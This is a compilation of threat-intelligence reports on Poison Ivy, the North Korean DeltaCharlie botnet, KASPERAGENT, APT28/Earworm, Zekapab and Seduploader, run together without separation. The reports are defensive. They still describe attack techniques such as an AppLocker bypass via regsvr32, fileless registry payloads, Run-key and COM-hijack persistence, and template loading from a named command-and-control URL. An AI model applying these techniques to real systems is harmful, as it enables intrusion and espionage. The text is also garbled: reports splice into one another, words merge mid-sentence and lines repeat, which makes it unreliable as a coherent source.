The threat actors behind this attack demonstrated some interesting techniques , including :Customized evasion based on victim profile – The campaign used a publicly available technique to evade AppLocker application whitelisting applied to the targeted systems .
Fileless execution and persistence – In targeted campaigns , threat actors often attempt to avoid writing an executable to the disk to avoid detection and forensic examination .
The campaign we observed used four stages of PowerShell scripts without writing the the payloads to individual files .
Decoy documents – This campaign used PowerShell to download benign documents from the Internet and launch them in a separate Microsoft Word instance to minimize user suspicion of malicious activity .
The threat actors used social engineering to convince users to run an embedded macro in a Microsoft Word document that launched a malicious PowerShell payload .
The threat actors used two publicly available techniques , an AppLocker whitelisting bypass and a script to inject shellcode into the userinit.exe process .
The malicious payload was spread across multiple PowerShell scripts , making its execution difficult to trace .
Rather than being written to disk as individual script files , the PowerShell payloads were stored in the registry .
Targets of the campaign received Microsoft Word documents via email that claimed to contain instructions for logging into webmail or information regarding a state law proposal .
Microsoft application whitelisting solution AppLocker prevents unknown executables from running on a system .
In April 2016 , a security researcher demonstrated a way to bypass this using regsvr32.exe , a legitimate Microsoft executable permitted to execute in many AppLocker policies .
The regsvr32.exe executable can be used to download a Windows Script Component file ( SCT file ) by passing the URL of the SCT file as an argument .
This technique bypasses AppLocker restrictions and permits the execution of code within the SCT file .
In the decrypted shellcode , we also observed content and configuration related to Poison Ivy .
Correlating these bytes to the standard configuration of Poison Ivy , we can observe the following :Active setup : StubPath .
Encryption/Decryption key : version2013 .
Mutex name : 20160509 .
Although Poison Ivy has been a proven threat for some time , the delivery mechanism for this backdoor uses recent publicly available techniques that differ from previously observed campaigns .
Through the use of PowerShell and publicly available security control bypasses and scripts , most steps in the attack are performed exclusively in memory and leave few forensic artifacts on a compromised host .
FireEye HX Exploit Guard is a behavior-based solution that is not affected by the tricks used here .
It detects and blocks this threat at the initial level of the attack cycle when the malicious macro attempts to invoke the first stage PowerShell payload .
Alert : HIDDEN COBRA - North Korea 's DDoSThis joint Technical Alert ( TA ) is the result of analytic efforts between the Department of Homeland Security ( DHS ) and the Federal Bureau of Investigation ( FBI ) .
This alert provides technical details on the tools and infrastructure used by cyber actors of the North Korean government to target the media , aerospace , financial , and critical infrastructure sectors in the United States and globally .
Working with U.S. Government partners , DHS and FBI identified Internet Protocol ( IP ) addresses associated with a malware variant , known as DeltaCharlie , used to manage North Korea 's distributed denial-of-service ( DDoS ) botnet infrastructure .
This alert contains indicators of compromise ( IOCs ) , malware descriptions , network signatures , and host-based rules to help network defenders detect activity conducted by the NorthThe U.S. Government refers to the malicious cyber activity by the North Korean government as HIDDEN COBRA .
For more information related to HIDDEN COBRA activity , go to https://www.us-cert.gov/hiddencobra .
If users or administrators detect the custom tools indicative of HIDDEN COBRA , these tools should be immediately flagged , reported to the DHS National Cybersecurity Communications and Integration Center ( NCCIC ) or the FBI Cyber Watch ( CyWatch ) , and given highest priority for enhanced mitigation .
This alert identifiesaddresses linked to systems infected with DeltaCharlie malware and provides descriptions of the malware and associated malware signatures .
DHS and FBI are distributing theseaddresses to enable network defense activities and reduce exposure to the DDoS command-and-control network .
FBI has high confidence that HIDDEN COBRA actors are using theaddresses for further network exploitation .
This alert includes technical indicators related to specific North Korean government cyber operations and provides suggested response actions to those indicators , recommended mitigation techniques , and information on reporting incidents to the U.S. Government .
On August 23 , 2017 , DHS published a Malware Analysis Report ( MAR-10132963 ) that examines malware functionality to provide detailed code analysis and insight into specific tactics , techniques , and procedures ( TTPs ) observed in the malware .
Since 2009 , HIDDEN COBRA actors have leveraged their capabilities to target and compromise a range of victims ; some intrusions have resulted in the Exfiltration of data while others have been disruptive in nature .
Commercial reporting has referred to this activity as Lazarus Group and Guardians of Peace .
DHS and FBI assess that HIDDEN COBRA actors will continue to use cyber operations to advance their government 's military and strategic objectives .
Cyber analysts are encouraged to review the information provided in this alert to detect signs of malicious network activity .
Tools and capabilities used by HIDDEN COBRA actors include DDoS, keyloggers , remote access tools ( RATs ) , and wiper malware .
Variants of malware and tools used by HIDDEN COBRA actors include Destover , Wild, and Hangman .
DHS has previously released Alert TA14-353A , which contains additional details on the use of a server message block ( SMB ) worm tool employed by these actors .
Further research is needed to understand the full breadth of this group 's cyber capabilities .
In particular , DHS recommends that more research should be conducted on the North Korean cyber activity that has been reported by cybersecurity and threat research firms .
HIDDEN COBRA actors commonly target systems running older , unsupported versions of Microsoft operating systems .
The multiple vulnerabilities in these older systems provide cyber actors many targets for exploitation .
These actors have also used Adobe Flash player vulnerabilities to gain initial entry into users' environments .
HIDDEN COBRA is known to use vulnerabilities affecting various applications .
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These vulnerabilities include :CVE-2015-6585 : Hangul Word Processor Vulnerability .
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These vulnerabilities include :CVE-2015-6585 : Hangul Word Processor Vulnerability .
CVE-2015-8651 : Adobe Flash Player 18.0.0.324 and 19.x Vulnerability .
CVE-2016-0034 : Microsoft Silverlight 5.1.41212.0 Vulnerability .
CVE-2016-1019 : Adobe Flash Player 21.0.0.197 Vulnerability .
CVE-2016-4117 : Adobe Flash Player 21.0.0.226 Vulnerability .
DHS recommends that organizations upgrade these applications to the latest version and patch level .
If Adobe Flash or Microsoft Silverlight is no longer required , DHS recommends that those applications be removed from systems .
The IOCs provided with this alert includeaddresses determined to be part of the HIDDEN COBRA botnet infrastructure , identified as DeltaCharlie .
The DeltaCharlie DDoS bot was originally reported by Novetta in their 2016 Operation Blockbuster Malware Report .
This malware has used theaddresses identified in the accompanying .csv and .stix files as both source and destination IPs .
In some instances , the malware may have been present on victims' networks for a significant period .
DeltaCharlie is a DDoS tool used by HIDDEN COBRA actors , and is referenced and detailed in Novetta 's Operation Blockbuster Destructive Malware report .
The information related to DeltaCharlie from the Operation Blockbuster Destructive Malware report should be viewed in conjunction with theaddresses listed in the .csv and .stix files provided within this alert .
DeltaCharlie is a DDoS tool capable of launching Domain Name System ( DNS ) attacks , Network Time Protocol ( NTP ) attacks , and Carrier Grade NAT ( CGN ) attacks .
The malware operates on victims' systems as a svchost-based service and is capable of downloading executables , changing its own configuration , updating its own binaries , terminating its own processes , and activating and terminating denial-of-service attacks .
HIDDEN COBRA IOCs related to DeltaCharlie are provided within the accompanying .csv and .stix files of this alert .
DHS and FBI recommend that network administrators review theaddresses , file hashes , network signatures , and YARA rules provided , and add the IPs to their watchlist to determine whether malicious activity has been observed within their organization .
When reviewing network perimeter logs for theaddresses , organizations may find numerous instances of theseaddresses attempting to connect to their systems .
Upon reviewing the traffic from theseaddresses , system owners may find that some traffic corresponds to malicious activity and some to legitimate activity .
System owners are also advised to run the YARA tool on any system they suspect to have been targeted by HIDDEN COBRA actors .
This section contains network signatures and host-based rules that can be used to detect malicious activity associated with HIDDEN COBRA actors .
Although created using a comprehensive vetting process , the possibility of false positives always remains .
These signatures and rules should be used to supplement analysis and should not be used as a sole source of attributing this activity to HIDDEN COBRA actors .
A successful network intrusion can have severe impacts , particularly if the compromise becomes public and sensitive information is exposed .
Possible impacts include : temporary or permanent loss of sensitive or proprietary information , disruption to regular operations , financial losses incurred to restore systems and files , and potential harm to an organization 's reputation .
Network administrators are encouraged to apply the following recommendations , which can prevent as many as 85 percent of targeted cyber intrusions .
The mitigation strategies provided may seem like common sense .
However , many organizations fail to use these basic security measures , leaving their systems open to compromise :Patch applications and operating systems .
Most attackers target vulnerable applications and operating systems .
Ensuring that applications and operating systems are patched with the latest updates greatly reduces the number of exploitable entry points available to an attacker .
Use best practices when updating software and patches by only downloading updates from authenticated vendor sites .
Use application whitelisting .
Whitelisting is one of the best security strategies because it allows only specified programs to run while blocking all others , including malicious software .
Restrict administrative privileges .
Threat actors are increasingly focused on gaining control of legitimate credentials , especially credentials associated with highly privileged accounts .
Reduce privileges to only those needed for a user 's duties .
Separate administrators into privilege tiers with limited access to other tiers .
Segment networks and segregate them into security zones .
Segment networks into logical enclaves and restrict host-to-host communications paths .
This helps protect sensitive information and critical services , and limits damage from network perimeter breaches .
Validate input .
Input validation is a method of sanitizing untrusted input provided by users of a web application .
Implementing input validation can protect against the security flaws of web applications by significantly reducing the probability of successful exploitation .
Types of attacks possibly averted include Structured Query Language ( SQL ) injection , cross-site scripting , and command injection .
Use stringent file reputation settings .
Tune the file reputation systems of your anti-virus software to the most aggressive setting possible .
Some anti-virus products can limit execution to only the highest reputation files , stopping a wide range of untrustworthy code from gaining control .
Understand firewalls .
Firewalls provide security to make your network less susceptible to attack .
They can be configured to block data and applications from certain locations (whitelisting ) , while allowing relevant and necessary data through .
To protect against code injections and other attacks , system operators should routinely evaluate known and published vulnerabilities , periodically perform software updates and technology refreshes , and audit external-facing systems for known web application vulnerabilities .
They should also take the following steps to harden both web applications and the servers hosting them to reduce the risk of network intrusion via this vector .
Use and configure available firewalls to block attacks .
Take steps to secure Windows systems , such as installing and configuring Microsoft 's Enhanced Mitigation Experience Toolkit ( EMET ) and Microsoft AppLocker .
Monitor and remove any unauthorized code present in any www directories .
Disable , discontinue , or disallow the use of Internet Control Message Protocol ( ICMP ) and Simple Network Management Protocol ( SNMP ) as much as possible .
Remove unnecessary HTTP verbs from web servers .
Typical web servers and applications only require GET , POST , and HEAD .
Where possible , minimize server fingerprinting by configuring web servers to avoid responding with banners identifying the server software and version number .
Secure both the operating system and the application .
Update and patch production servers regularly .
Disable potentially harmful SQL-stored procedure calls .
Sanitize and validate input to ensure that it is properly typed and does not contain escaped code .
Consider using type-safe stored procedures and prepared statements .
Audit transaction logs regularly for suspicious activity .
Perform penetration testing on web services .
Ensure error messages are generic and do not expose too much information .
System operators should take the following steps to limit permissions , privileges , and access controls .
Reduce privileges to only those needed for a user 's duties .
Restrict users' ability ( permissions ) to install and run unwanted software applications , and apply the principle of Least Privilege to all systems and services .
Restricting these privileges may prevent malware from running or limit its capability to spread through the network .
Carefully consider the risks before granting administrative rights to users on their own machines .
Scrub and verify all administrator accounts regularly .
Configure Group Policy to restrict all users to only one login session , where possible .
Enforce secure network authentication , where possible .
Instruct administrators to use non-privileged accounts for standard functions such as web browsing or checking webmail .
Segment networks into logical enclaves and restrict host-to-host communication paths .
Containment provided by enclaving also makes incident cleanup significantly less costly .
Configure firewalls to disallow Remote Desktop Protocol ( RDP ) traffic coming from outside of the network boundary , except for in specific configurations such as when tunneled through a secondary virtual private network ( VPN ) with lower privileges .
Audit existing firewall rules and close all ports that are not explicitly needed for business .
Specifically , carefully consider which ports should be connecting outbound versus inbound .
Enforce a strict lockout policy for network users and closely monitor logs for failed login activity .
Failed login activity can be indicative of failed intrusion activity .
If remote access between zones is an unavoidable business need , log and monitor these connections closely .
In environments with a high risk of interception or intrusion , organizations should consider supplementing password authentication with other forms of authentication such as challenge/response or multifactor authentication using biometric or physical tokens .
System operators should follow these secure logging practices .
Ensure event logging , including applications , events , login activities , and security attributes , is turned on or monitored for identification of security issues .
Configure network logs to provide adequate information to assist in quickly developing an accurate determination of a security incident .
Upgrade PowerShell to new versions with enhanced logging features and monitor the logs to detect usage of PowerShell commands , which are often malware-related .
Secure logs in a centralized location and protect them from modification .
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Phantom of the Opaera :New KASPERAGENT Malware Campaign .
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Phantom of the Opaera :New KASPERAGENT Malware Campaign .
ThreatConnect has identified a KASPERAGENT malware campaign leveraging decoy Palestinian Authority documents .
The samples date from April – May 2017 , coinciding with the run up to the May 2017 Palestinian Authority elections .
Although we do not know who is behind the campaign , the decoy documents ’ content focuses on timely political issues in Gaza and the IP address hosting the campaign ’s command and control node hosts several other domains with Gaza registrants .
In this blog post we will detail our analysis of the malware and associated indicators , look closely at the decoy files , and leverage available information to make an educated guess on the possible intended target .
Associated indicators and screenshots of the decoy documents are all available here in the ThreatConnect platform .
Some of the indicators in the following post were published on AlienVault OTX on 6/13 .
KASPERAGENT is Microsoft Windows malware used in efforts targeting users in the United States , Israel , Palestinian Territories , and Egypt since July 2015 .
The malware was discovered by Palo Alto Networks Unit 42 and ClearSky Cyber Security , and publicized in April 2017 in the Targeted Attacks in the Middle East Using KASPERAGENT and MICROPSIA blog .
It is called KASPERAGENT based on PDB strings identified in the malware such as “ c : UsersUSADocumentsVisual Studio 2008ProjectsNew folder ( 2 ) kasperReleasekasper.pdb ” .
The threat actors used shortened URLs in spear phishing messages and fake news websites to direct targets to download KASPERAGENT .
Upon execution , KASPERAGENT drops the payload and a decoy document that displays Arabic names and ID numbers .
The malware establishes persistence and sends HTTP requests to the command and control domain mailsinfo.net .
Of note , the callbacks were to PHP scripts that included / dad5 / in the URLs .
Most samples of the malware reportedly function as a basic reconnaissance tool and downloader .
However , some of the recently identified files display “ extended-capability ”including the functionality to steal passwords , take screenshots , log keystrokes , and steal files .
These “ extended-capability ”samples called out to an additional command and control domain , stikerscloud.com .
Additionally , early variants of KASPERAGENT used “ Chrome ”as the user agent , while more recent samples use “ OPAERA ”– a possible misspelling of the “ Opera ”– browser .
The indicators associated with the blog article are available in the ThreatConnect Technical Blogs and Reports source here .
The samples we identified leverage the same user agent string “ OPAERA ”, included the kasper PDB string reported by Unit 42 , and used similar POST and GET requests .
The command and control domains were different , and these samples used unique decoy documents to target their victims .
We didn’t start out looking for KASPERAGENT , but a file hit on one of our YARA rules for an executable designed to display a fake XLS icon – one way adversaries attempt to trick targets into thinking a malicious file is innocuous .
The first malicious sample we identified ( 6843AE9EAC03F69DF301D024BFDEFC88 ) had the file name “ testproj.exe ”and was identified within an archive file ( 4FE7561F63A71CA73C26CB95B28EAEE8 ) with the name “ التفاصيل الكاملة لأغتيال فقهاء.r24 ” .
This translates to “ The Complete Details of Fuqaha ’s Assassination ”, a reference to Hamas military leader Mazen Fuqaha who was assassinated on March 24 , 2017 .
We detonated the file in VxStream ’s automated malware analysis capability and found testproj.exe dropped a benign Microsoft Word document that pulls a jpg file from treestower.com .
Malwr.com observed this site in association with another sample that called out to mailsinfo.net – a host identified in the Targeted Attacks in the Middle East Using KASPERAGENT and MICROPSIA blog .
That was our first hint that we were looking at KASPERAGENT .
The jpg pulled from treestower.com displays a graphic picture of a dead man , which also appeared on a Palestinian news website discussing the death of Hamas military leader Mazen Fuqaha .
A separate malicious executable – 2DE25306A58D8A5B6CBE8D5E2FC5F3C5 ( vlc.exe ) – runs when the photograph is displayed , using the YouTube icon and calling out to several URLs on windowsnewupdates.com .
This host was registered in late March and appears to be unique to this campaign .
With our interest piqued , we pivoted on the import hashes ( also known as an imphash ) , which captures the import table of a given file .
Shared import hashes across multiple files would likely identify files that are part of the same malware family .
We found nine additional samples sharing the imphash values for the two executables , C66F88D2D76D79210D568D7AD7896B45 and DCF3AA484253068D8833C7C5B019B07 .
Analysis of those files uncovered two more imphashes , 0B4E44256788783634A2B1DADF4F9784 and E44F0BD2ADFB9CBCABCAD314D27ACCFC , for a total of 20 malicious files .
These additional samples behaved similarly to the initial files ;testproj.exe dropped benign decoy files and started malicious executables .
The malicious executables all called out to the same URLs on windowsnewupdates.com .
These malware samples leverage the user agent string “ OPAERA ” , the same one identified in the Targeted Attacks in the Middle East Using KASPERAGENT and MICROPSIA blog .
Although the command and control domain was different from those in the report , the POST and GET requests were similar and included / dad5 / in the URL string .
In addition , the malware samples included the kasper PDB string reported by Unit 42 , prompting us to conclude that we were likely looking at new variants of KASPERAGENT .
Several of the decoy files appeared to be official documents associated with the Palestinian Authority – the body that governs the Palestinian Territories in the Middle East .
We do not know whether the files are legitimate Palestinian Authority documents , but they are designed to look official .
Additionally , most of the decoy files are publicly available on news websites or social media .
The first document – dated April 10 , 2017 – is marked “ Very Secret ”and addressed to Yahya Al-Sinwar , who Hamas elected as its leader in Gaza in February 2017 .
Like the photo displayed in the first decoy file we found , this document references the death of Mazen Fuqaha .
The Arabic-language text and English translation of the document are available in ThreatConnect here .
A screenshot of the file is depicted below .
The second legible file , dated April 23 , has the same letterhead and also is addressed to Yahya al-Sinwar .
This file discusses the supposed announcement banning the rival Fatah political party , which controls the West Bank , from Gaza .
It mentions closing the Fatah headquarters and houses that were identified as meeting places as well as the arrest of some members of the party .
We don’t know for sure who is responsible for this campaign , but digging into the passive DNS results led us to some breadcrumbs .
Starting with 195.154.110.237 , the IP address which is hosting the command and control domain windowsnewupdates.com , we found that the host is on a dedicated server .
Using our Farsight DNSDB integration , we identified other domains currently and previously hosted on the same IP .
Two of the four domains that have been hosted at this IP since 2016 — upfile2box.com and 7aga.net — were registered by a freelance web developer in Gaza , Palestine .
This IP has been used to host a small number of domains , some of which were registered by the same actor , suggesting the IP is dedicated for a single individual or group ’s use .
While not conclusive , it is intriguing that the same IP was observed hosting a domain ostensibly registered in Gaza AND the command and control domain associated with a series of targeted attacks leveraging Palestinian Authority -themed decoy documents referencing Gaza .
Just like we can’t make a definitive determination as to who conducted this campaign , we do not know for sure who it was intended to target .
What we do know is that several of the malicious files were submitted to a public malware analysis site from the Palestinian Territories .
This tells us that it is possible either the threat actors or at least one of the targets is located in that area .
Additionally , as previously mentioned , the decoy document subject matter would likely be of interest to a few different potential targets in the Palestinian Territories .
Potential targets such as Hamas who controls the Gaza strip and counts Mazen Fuqaha and Yahya al-Sinwar as members , Israel which is accused of involvement in the assassination of Mazen Fuqaha , and the Fatah party of which the Prime Minister and President of the Palestinian Authority are members .
The campaign corresponds with a period of heightened tension in Gaza .
Hamas , who has historically maintained control over the strip , elected Yahya al-Sinwar – a hardliner from its military wing – as its leader in February .
A Humanitarian Bulletin published by the United Nations ’ Office for the Coordination of Humanitarian Affairs indicates in March 2017 ( just before the first malware samples associated with this campaign were identified in early April ) Hamas created “ a parallel institution to run local ministries in Gaza , ”further straining the relationship between Hamas and the Palestinian Authority who governs the West Bank .
After this announcement , the Palestinian Authority cut salaries for its employees in Gaza by 30 percent and informed Israel that it would no longer pay for electricity provided to Gaza causing blackouts throughout the area and escalating tensions between the rival groups .
Then , in early May ( two days after the last malware sample was submitted ) the Palestinian Authority held local elections in the West Bank which were reportedly seen as a test for the Fatah party .
Elections were not held in Gaza .
All of that is to say , the decoy documents leveraged in this campaign would likely be relevant and of interest to a variety of targets in Israel and Palestine , consistent with previously identified KASPERAGENT targeting patterns .
Additionally , the use of what appear to be carefully crafted documents at the very least designed to look like official government correspondence suggests the malware may have been intended for a government employee or contractor who would be interested in the documents ’ subject matter .
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APT28 : New Espionage Operations Target Military and Government Organizations .
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APT28 : New Espionage Operations Target Military and Government Organizations .
Recent campaigns see APT28 group return to covert intelligence gathering operations in Europe and South America .
After making headlines during 2016 due to its involvement in cyber attacks against an organization involved in the U.S. presidential election , APT28 ( aka Swallowtail , Fancy Bear ) has continued to mount operations during 2017 and 2018 .
The espionage group , which according to the U.S. Department of Homeland Security ( DHS ) and the Federal Bureau of Investigation ( FBI ) is linked to the Russian government , returned to low-key intelligence-gathering operations during 2017 and into 2018 , targeting a range of military and government targets in Europe and South America .
APT28 has been active since at least January 2007 but received public attention in a major way during 2016 when it was implicated in a series of cyber attacks in the run up to the U.S. presidential election .
Beginning in the Spring of 2016 , APT28 sent spear-phishing emails to political targets including members of the Democratic National Committee ( DNC ) .
These emails were designed to trick recipients into supposedly changing their email passwords on a fake webmail domain .
The attack group then used these stolen credentials to gain access to the DNC network , install malware , move across the network , and steal data , including a trove of emails .
The compromised information was later leaked online .
These election attacks signaled a change of tactics on the part of APT28 , moving away from their prior low-key intelligence gathering towards more overt activity , seemingly intended to destabilize and disrupt victim organizations and countries .
The group was also responsible for the 2016 attack on the World Anti Doping Agency ( WADA ) and the leaking of confidential drug testing information .
In keeping with its shift to more overt tactics , the group appeared to publicly take credit for the attack , leaking the information on a website using the name “ Fancy Bears ” , an industry codename that was already widely used for the group .
After receiving an unprecedented amount of attention in 2016 , APT28 has continued to mount operations during 2017 and 2018 .
However , the group ’s activities since the beginning of 2017 have again become more covert and appear to be mainly motivated by intelligence gathering .
The organizations targeted by APT28 during 2017 and 2018 include :A well-known international organization Military targets in Europe Governments in Europe A government of a South American country An embassy belonging to an Eastern European country .
APT28 uses a number of tools to compromise its targets .
The group ’s primary malware is Sofacy , which has two main components .
Trojan.Sofacy ( also known as Seduploader ) performs basic reconnaissance on an infected computer and can download further malware .
Backdoor.SofacyX ( also known as X-Agent ) is a second stage piece of malware , capable of stealing information from the infected computer .
A Mac version of the Trojan also exists ( OSX.Sofacy ) .
APT28 has continued to develop its tools over the past two years .
For example , Trojan.Shunnael ( aka X-Tunnel ) , malware used to maintain access to infected networks using an encrypted tunnel , underwent a rewrite to .NET .
In addition to this , as reported by our peers at ESET last week , the group has also begun using a UEFI ( Unified Extensible Firmware Interface ) rootkit known as Lojax .
Because the rootkit resides within a computer ’s flash memory , it allows the attackers to maintain a persistent presence on a compromised machine even if the hard drive is replaced or the operating system is reinstalled .
Symantec products block attempts to install Lojax with the detection name Trojan.Lojax .
Another attack group , Earworm ( aka Zebrocy ) , has been active since at least May 2016 and is involved in what appears to be intelligence gathering operations against military targets in Europe , Central Asia , and Eastern Asia .
The group uses spear-phishing emails to compromise its targets and infect them with malware .
Earworm uses two malware tools .
Trojan.Zekapab is a downloader component that is capable of carrying out basic reconnaissance functions and downloading additional malware to the infected computer .
Backdoor.Zekapab is installed on selected infected computers and is capable of taking screenshots , executing files and commands , uploading and downloading files , performing registry and file system operations , and carrying out system information tasks .
Earworm has also on occasion installed additional tools onto infected computers for the purposes of keylogging and password capture .
During 2016 , Symantec observed some overlap between the command and control ( C&C ) infrastructure used by Earworm and the C&C infrastructure used by Grizzly Steppe ( the U.S. government code name for APT28 and related actors ) , implying a potential connection between Earworm and APT28 .
However , Earworm also appears to conduct separate operations from APT28 and thus Symantec tracks them as a distinct group .
It is now clear that after being implicated in the U.S. presidential election attacks in late 2016 , APT28 was undeterred by the resulting publicity and continues to mount further attacks using its existing tools .
After its foray into overt and disruptive attacks in 2016 , the group has subsequently returned to its roots , mounting intelligence gathering operations against a range of targets .
This ongoing activity and the fact that APT28 continues to refine its toolset means that the group will likely continue to pose a significant threat to nation state targets .
Symantec has had the following protections in place to protect customers against APT28 attacks :Trojan.Sofacy Backdoor.SofacyX Infostealer.Sofacy OSX.Sofacy Trojan.Shunnael Trojan.Lojax .
The following protections are in place to protect customers against Earworm attacks :Trojan.Zekapab Backdoor.Zekapab .
A BREXIT-themed lure document that delivers ZEKAPAB malware .
SNAKEMACKEREL is an espionage-motivated cyber threat group , also known as Sofacy , Pawn Storm , Sednit , Fancy Bear , APT28 , Group 74 , Tsar Team , and Strontium .
Both the British and Dutch governments have publicly attributed SNAKEMACKEREL activities to the Russian military intelligence service ( RIS ) and have linked specific cyberattacks to the group , including the targeting of the Organisation for the Prohibition of Chemical Weapons ( OPCW ) , the United Kingdom Defence and Science Technology Laboratory ( DSTL ) and the United Kingdom Foreign and Commonwealth Office ( FCO ) .
According to the FBI , the SNAKEMACKEREL threat group "is part of an ongoing campaign of cyber-enabled operations directed at the United States government and its citizens .
These cyber operations have included spear phishing campaigns targeting government organizations , critical infrastructure entities , think tanks , universities , political organizations , and corporations , leading to the theft of information .
The creation of this malicious document , coming on the same day that the UK government announced an initial agreed draft of the BREXIT agreement , suggests that SNAKEMACKEREL is a group that pays close attention to political affairs and is able to leverage the latest news headlines to develop lure documents to deliver firststage malware , such as Zekapab , to its intended targets .
The theme also reflects the targeting of the group which primarily focuses on NATO members , countries in Central Asia and those neighboring Russia .
Despite the public reporting and government accusations , SNAKEMACKEREL remains highly active .
It is behind a large number of cyberattacks targeting global aerospace and defense contractors , military units , political parties , the International Olympic Committee ( IOC ) , anti-doping agencies , government departments and various other verticals .
NATO and EU member countries , as well as the United States , are of particular interest to the group .
SNAKEMACKEREL operations continue to be some of the most far-reaching and sophisticated cyber espionage and intelligence campaigns to date .
This report provides a technical overview of a BREXIT-themed lure Microsoft Office document that is used to drop a Delphi version of the Zekapab first-stage malware which has been previously reported by iDefense analysts .
However , additional research on the C2 server 109.248.148.42 revealed a new .NET version of Zekapab that is designed for the same purpose .
iDefense analysts recently came across the following malicious document that is purportedly related to the recent BREXIT negotiations between the UK and the EU .
Brexit 15.11.2018.docx :Of note , the Company name Grizli777 is indicative of a cracked version of Microsoft Word .
To trick the targeted individual into enabling macros , the attackers deliberately used jumbled-up text as content .
The document loads malicious content from http://109.248.148.42/office/thememl/2012/main/attachedTemplate.dotm via the settings.xml.rels component that is embedded within the DOCX document .
The downloaded macro component includes a function called AutoClose() as well as two payloads embedded via Base64 encoded strings .
Research on the malicious IP address 109.248.148.42 revealed two different .dotm components :Filename : attachedTemplate.dotm MD5 : 018611b879b2bbd886e86b62484494da Filename : templates.dotm MD5 : 2a794b55b839b3237482098957877326 .
The two components are dropped from the following URLs respectively :http://109.248.148.42/office/thememl/2012/main/attachedTemplate.dotm http://109.248.148.42/officeDocument/2006/relationships/templates.dotm .
Both components contain an identical VBA macro code as shown above , each containing two different embedded payloads : one is an executable binary file and the other is a .docm file .
attachedTemplate.dotm dropped the following :Filename : ntslwin.exe MD5 : 7e67122d3a052e4755b02965e2e56a2e Filename : ~de03fc12a.docm MD5 : 9d703d31795bac83c4dd90527d149796 .
templates.dotm dropped the following :Filename : ntslwin.exe MD5 : a13c864980159cd9bdc94074b2389dda Filename : ~de03fc12a.docm MD5 : 9d703d31795bac83c4dd90527d149796 .
The second macro file ~de03fc12a.docm dropped includes a simple macro to execute the dropped executable .
Analysis into the two binaries shows that they are in fact a Delphi ( initially UPX packed ) and .NET version of the Zekapab first-stage malware .
The following network traffic is performed by the Delphi sample which has the following metadata once unpacked by UPX :Filename : ntslwin.exe MD5 : f4cab3a393462a57639faa978a75d10a .
Exhibit 4 shows the network traffic generated by the sample , a http POST request containing the system information collected .
On the other hand , the network traffic generated by the .NET version is unencoded .
Both versions are designed to collect system information and running processes and send them to the designated C2 server using http POST to the URI used in both cases is /agr-enum/progress-inform/cube.php?res= .
If the system is deemed interesting , the next stage malware would be delivered into corresponding directories .
The second-stage malware is delivered to different destinations with an autorun registry key set respectively .
For the Delphi version , the following registry key and value are used for persistence :Key : HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AudioMgr Value : %AppData%\Video\videodrv.exe .
For the .NET version , the following registry key and value are used for persistence :Key : HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleIndexer Value : %AppData%\Platform\sslwin.exe .
The list of information collected includes :Results from the commands systeminfo and tasklist Current execution path Capture screenshot Drive enumeration Drive serial number .
The code for downloading and executing the next stage malware .
As shown , the delivery of the next-stage malware is dependent on the information collected .
To mitigate the threat described in this report , iDefense recommends blocking access to the IP address and URI pattern :109.248.148.42 /agr-enum/progress-inform/cube.php?res= .
For threat hunting , iDefense recommends searching for the following :Network : Presence of http and DNS traffic to the network IOCs shared above .
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System : Presence of the following artifacts .
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System : Presence of the following artifacts .
Persistence mechanism Registry Key :Key : HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AudioMgr Key : HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleIndexer .
On disk artefacts File with the full path : %AppData%\Video\videodrv.exe File with the full path : %AppData%\Platform\sslwin.exe Files with following file hashes .
“ Cyber Conflict ” Decoy Document Used In Real Cyber Conflict .
Cisco Talos discovered a new malicious campaign from the well known actor Group 74 ( aka Tsar Team , Sofacy , APT28 , Fancy Bear ) .
Ironically the decoy document is a deceptive flyer relating to the Cyber Conflict U.S. conference .
CyCon US is a collaborative effort between the Army Cyber Institute at the United States Military Academy and the NATO Cooperative Cyber Military Academy and the NATO Cooperative Cyber Defence Centre of Excellence .
Due to the nature of this document , we assume that this campaign targets people with an interest in cyber security .
Unlike previous campaigns from this actor , the flyer does not contain an Office exploit or a 0-day , it simply contains a malicious Visual Basic for Applications ( VBA ) macro .
The VBA drops and executes a new variant of Seduploader .
This reconnaissance malware has been used by Group 74 for years and it is composed of 2 files : a dropper and a payload .
The dropper and the payload are quite similar to the previous versions but the author modified some public information such as MUTEX name , obfuscationWe assume that these modifications were performed to avoid detection based on public IOCs .
The article describes the malicious document and the Seduploader reconnaissance malware , especially the difference with the previous versions .
The decoy document is a flyer concerning the Cyber Conflict U.S. conference with the following filename Conference_on_Cyber_Conflict.doc .
The Office document contains a VBA script .
The goal of this code is to get information from the properties of the document ( "Subject" , "Company" , "Category" , "Hyperlink base" and finally "Comments" ) .
Some of this information can be directly extracted from the Windows explorer by looking at the properties of the file .
The "Hyperlink Base" must be extracted using another tool , strings is capable of obtaining this by looking for long strings .
Pay close attention to the contents of these fields as they appear base64 encoded .
This extracted information is concatenated together to make a single variable .
This variable is decoded with the base64 algorithm in order to get a Windows library ( PE file ) which is written to disk .
The file is named netwf.dat .
On the next step this file is executed by rundll32.exe via the KlpSvc export .
We see that this file drops 2 additional files : netwf.bat and netwf.dll .
The final part of the VBA script changes the properties of these two files , setting their attributes to Hidden .
We can also see 2 VBA variable names : PathPld , probably for Path Payload , and PathPldBt , for Path Payload Batch .
As opposed to previous campaigns performed by this actor , this latest version does not contain privilege escalation and it simply executes the payload and configures persistence mechanisms .
The dropper installs 2 files :executes netwf.dll netwf.dll :the payload .
The dropper implements 2 persistence mechanisms :HKCU\Environment\UserInitMprLogonScript to execute the netwf.bat file COM Object hijack of the following CLSID : {BCDE0395-E52F-467C-8E3D-C4579291692E} , the CLSID of the class MMDeviceEnumerator .
These 2 techniques have also been previously used by this actor .
Finally the payload is executed by rundll32.exe ( and the ordinal #1 in argument ) or by explorer.exe if the COM Object hijack is performed .
In this case , explorer.exe will instance the MMDeviceEnumerator class and will execute the payload .
The payload features are similar to the previous versions of Seduploader .
We can compare it to the sample e338d49c270baf64363879e5eecb8fa6bdde8ad9 used in May 2017 by Group 74 .
Of the 195 functions of the new sample , 149 are strictly identical , 16 match at 90% and 2 match at 80% .
In the previous campaign where adversaries used Office document exploits as an infection vector , the payload was executed in the Office word process .
In this campaign , adversaries did not use any exploit .
Instead ,the payload is executed in standalone mode by rundll32.exe .
Adversaries also changed some constants , such as the XOR key used in the previous version .
